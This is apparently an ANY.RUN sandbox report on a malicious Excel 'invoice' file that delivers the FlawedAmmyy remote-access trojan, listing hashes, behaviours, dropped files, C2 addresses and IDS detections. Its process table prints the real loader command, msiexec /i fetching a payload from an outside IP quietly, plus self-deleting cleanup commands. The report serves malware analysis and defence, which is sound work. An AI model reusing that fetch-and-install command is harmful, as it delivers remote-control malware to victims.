Malware analysis 인보이스 18-02-2019.xls Malicious activity

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File name:	인보이스 18-02-2019.xls
Full analysis:	https://app.any.run/tasks/443445b0-2d76-430f-aed5-0816108aded4
Verdict:	Malicious activity
Threats:	FlawedAmmmyy is a RAT type malware that can be used to perform actions remotely on an infected PC. This malware is well known for being featured in especially large campaigns with wide target demographics. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	February 19, 2019, 01:37:11
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	loader exe-to-msi rat flawedammyy ammyy trojan ta505
Indicators:
MIME:	application/vnd.ms-excel
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Microsoft Office, Last Saved By: 1, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Dec 19 10:42:12 2018, Last Saved Time/Date: Mon Feb 18 21:53:20 2019, Security: 0
MD5:	DF84893D492A78EA417ED9D185946B5D
SHA1:	065FEE06DA93ADFF3F0B64A307333816118E7688
SHA256:	14A577109DE5CBBD1A642C638850C42F5B0CC335D8A3572EC23228786BAC1D41
SSDEEP:	3072:9Kpb8rGYrMPelwhKmFV5xtezEsgrdgLiiiiiii3kZOeX7+93plBiFUq0oXGK:9Kpb8rGYrMPelwhKmFV5xtuEsgrdgLi4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (68.0.3440.106)
Google Update Helper (1.3.33.17)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 2988)
- Uses Microsoft Installer as loader
  - EXCEL.EXE (PID: 2988)
- Downloads executable files from the Internet
  - msiexec.exe (PID: 2196)
- Downloads executable files from IP
  - msiexec.exe (PID: 2196)
- Application was dropped or rewritten from another process
  - wsus.exe (PID: 3044)
  - wsus.exe (PID: 1144)
- Loads the Task Scheduler DLL interface
  - MSIF5B1.tmp (PID: 2508)
- Changes the autorun value in the registry
  - MSIF5B1.tmp (PID: 2508)
- Loads the Task Scheduler COM API
  - MSIF5B1.tmp (PID: 2508)
- FLAWEDAMMYY was detected
  - wsus.exe (PID: 3044)
- Connects to CnC server
  - wsus.exe (PID: 3044)
- AMMYY was detected
  - wsus.exe (PID: 3044)
SUSPICIOUS
- Drop ExeToMSI Application
  - msiexec.exe (PID: 2196)
- Creates files in the program directory
  - MSIF5B1.tmp (PID: 2508)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 2196)
  - MSIF5B1.tmp (PID: 2508)
- Creates files in the Windows directory
  - MSIF5B1.tmp (PID: 2508)
- Starts CMD.EXE for commands execution
  - MSIF5B1.tmp (PID: 2508)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 2988)
- Writes to a desktop.ini file (may be used to cloak folders)
  - msiexec.exe (PID: 2196)
- Starts application with an unusual extension
  - msiexec.exe (PID: 2196)
- Application was dropped or rewritten from another process
  - MSIF5B1.tmp (PID: 2508)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xls	\|	Microsoft Excel sheet (78.9)

EXIF

FlashPix

Author:	Microsoft Office
LastModifiedBy:	1
Software:	Microsoft Excel
CreateDate:	2018:12:19 10:42:12
ModifyDate:	2019:02:18 21:53:20
Security:	None
CodePage:	Windows Cyrillic
Company:	Microsoft Corporation
AppVersion:	16
ScaleCrop:	No
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
TitleOfParts:	Лист3 Макрос1
HeadingPairs:	Листы 1 Макросы Excel 4.0 1

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2988	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	—	explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000
3072	msiexec.exe val=conn rdp=redim OnLoad='c:\windows\cmd.exe' /i http://185.17.120.235/select /q	C:\Windows\system32\msiexec.exe	—	EXCEL.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows® installer Exit code: 0 Version: 5.0.7600.16385 (win7_rtm.090713-1255)
2196	C:\Windows\system32\msiexec.exe /V	C:\Windows\system32\msiexec.exe		services.exe
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.7600.16385 (win7_rtm.090713-1255)
2508	"C:\Windows\Installer\MSIF5B1.tmp"	C:\Windows\Installer\MSIF5B1.tmp		msiexec.exe
User: admin Company: IBM Controler' System Security Control Integrity Level: MEDIUM Description: IBM Controler' System Security Control Exit code: 0 Version: 2.8.17228.1
3044	"C:\ProgramData\Microsofts Help\wsus.exe"	C:\ProgramData\Microsofts Help\wsus.exe		MSIF5B1.tmp
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Version: 1.18.2.51920
2228	"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIF5B1.tmp >> NUL	C:\Windows\system32\cmd.exe	—	MSIF5B1.tmp
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
3968	"C:\Windows\system32\cmd.exe" /c del C:\Windows\INSTAL~1\MSIF5B1.tmp >> NUL	C:\Windows\system32\cmd.exe	—	MSIF5B1.tmp
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850)
1144	"C:\ProgramData\Microsofts Help\wsus.exe"	C:\ProgramData\Microsofts Help\wsus.exe	—	taskeng.exe
User: admin Company: Microsoft Block Security Integrity Level: MEDIUM Description: Microsoft Block Security Exit code: 0 Version: 1.18.2.51920

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Total events

814

Read events

733

Write events

Delete events

Modification events

No data

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2988	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRE8ED.tmp.cvr		—
		MD5:—	SHA256:—
2196	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF89E6E05E2BD3E79C.TMP		—
		MD5:—	SHA256:—
2196	msiexec.exe	C:\Config.Msi\20f3eb.rbs		—
		MD5:—	SHA256:—
2196	msiexec.exe	C:\Users\admin\AppData\Local\Temp\~DF076B4F64B7D364C7.TMP		—
		MD5:—	SHA256:—
2196	msiexec.exe	C:\Windows\Installer\MSIF1C6.tmp		executable
		MD5:C19F4137DA7C2D9E5A6A26EFE3FC0F9A	SHA256:10987FB8AB8275F9DE9B8F4F1434CAC08D03B659BF69F81FDB5659F7A0253079
2196	msiexec.exe	C:\Windows\Installer\MSIF5B1.tmp		executable
		MD5:CE0F37D5932FF0B583B79C6DCF7DAC7E	SHA256:4EFE3097DAC309A1619415E1EF8654F0B30B516E601D6C4C061CFCD9DD876968
2508	MSIF5B1.tmp	C:\Windows\Tasks\Microsoft System Protect.job		binary
		MD5:2C7F1C5548E402F117FB3379346050F9	SHA256:8430972452401BED849106EEB93EAB38F171692363FD5D442F752878C26DDF2B
2508	MSIF5B1.tmp	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\dat1[1].omg		binary
		MD5:DA80F64698FDCBE7C3284DF94DCCC6F3	SHA256:1FA3B63B9FD44F2C93B4D513BA33839F56094A2D7886C8E151BB9F11132CF5CD
2196	msiexec.exe	C:\Users\admin\AppData\Local\Temp\History\History.IE5\index.dat		dat
		MD5:D7A950FEFD60DBAA01DF2D85FEFB3862	SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A
2196	msiexec.exe	C:\Users\admin\AppData\Local\Temp\Temporary Internet Files\Content.IE5\index.dat		dat
		MD5:4D120D98842A983EFE6142A7792DE2FC	SHA256:065E6C64095AD646AD90347297597A19D6241383D78698B1D26DB5EE2760952F

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2508	MSIF5B1.tmp	GET	200	185.17.120.235:80	http://185.17.120.235/dat1.omg	RU	binary	657 Kb	suspicious
2196	msiexec.exe	GET	200	185.17.120.235:80	http://185.17.120.235/select	RU	executable	168 Kb	suspicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2508	MSIF5B1.tmp	185.17.120.235:80	—	Leaseweb Deutschland GmbH	RU	suspicious
3044	wsus.exe	185.99.133.2:80	—	Zappie Host LLC	NZ	malicious
2196	msiexec.exe	185.17.120.235:80	—	Leaseweb Deutschland GmbH	RU	suspicious

DNS requests

No data

Threats

PID	Process	Class	Message
2196	msiexec.exe	Misc activity	SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
2196	msiexec.exe	Potential Corporate Privacy Violation	POLICY [PTsecurity] Executable application_x-msi Download
3044	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] FlawedAmmyy.RAT
3044	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] AMMYY RAT
3044	wsus.exe	A Network Trojan was detected	ET TROJAN Win32/FlawedAmmyy RAT CnC Checkin
3044	wsus.exe	A Network Trojan was detected	MALWARE [PTsecurity] FlawedAmmyy.RAT Checkin

1 ETPRO signatures available at the full report

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Process	Message
MSIF5B1.tmp	C:\ProgramData\Microsofts Help\template_cee330.DATAHASH
MSIF5B1.tmp	--End Dowload--

General Info

인보이스 18-02-2019.xls

DF84893D492A78EA417ED9D185946B5D

065FEE06DA93ADFF3F0B64A307333816118E7688

14A577109DE5CBBD1A642C638850C42F5B0CC335D8A3572EC23228786BAC1D41

3072:9Kpb8rGYrMPelwhKmFV5xtezEsgrdgLiiiiiii3kZOeX7+93plBiFUq0oXGK:9Kpb8rGYrMPelwhKmFV5xtuEsgrdgLi4

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Uses Microsoft Installer as loader

Downloads executable files from the Internet

Downloads executable files from IP

Application was dropped or rewritten from another process

Loads the Task Scheduler DLL interface

Changes the autorun value in the registry

Loads the Task Scheduler COM API

FLAWEDAMMYY was detected

Connects to CnC server

AMMYY was detected

SUSPICIOUS

Drop ExeToMSI Application

Creates files in the program directory

Executable content was dropped or overwritten

Creates files in the Windows directory

Starts CMD.EXE for commands execution

INFO

Reads Microsoft Office registry keys

Writes to a desktop.ini file (may be used to cloak folders)

Starts application with an unusual extension

Application was dropped or rewritten from another process

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings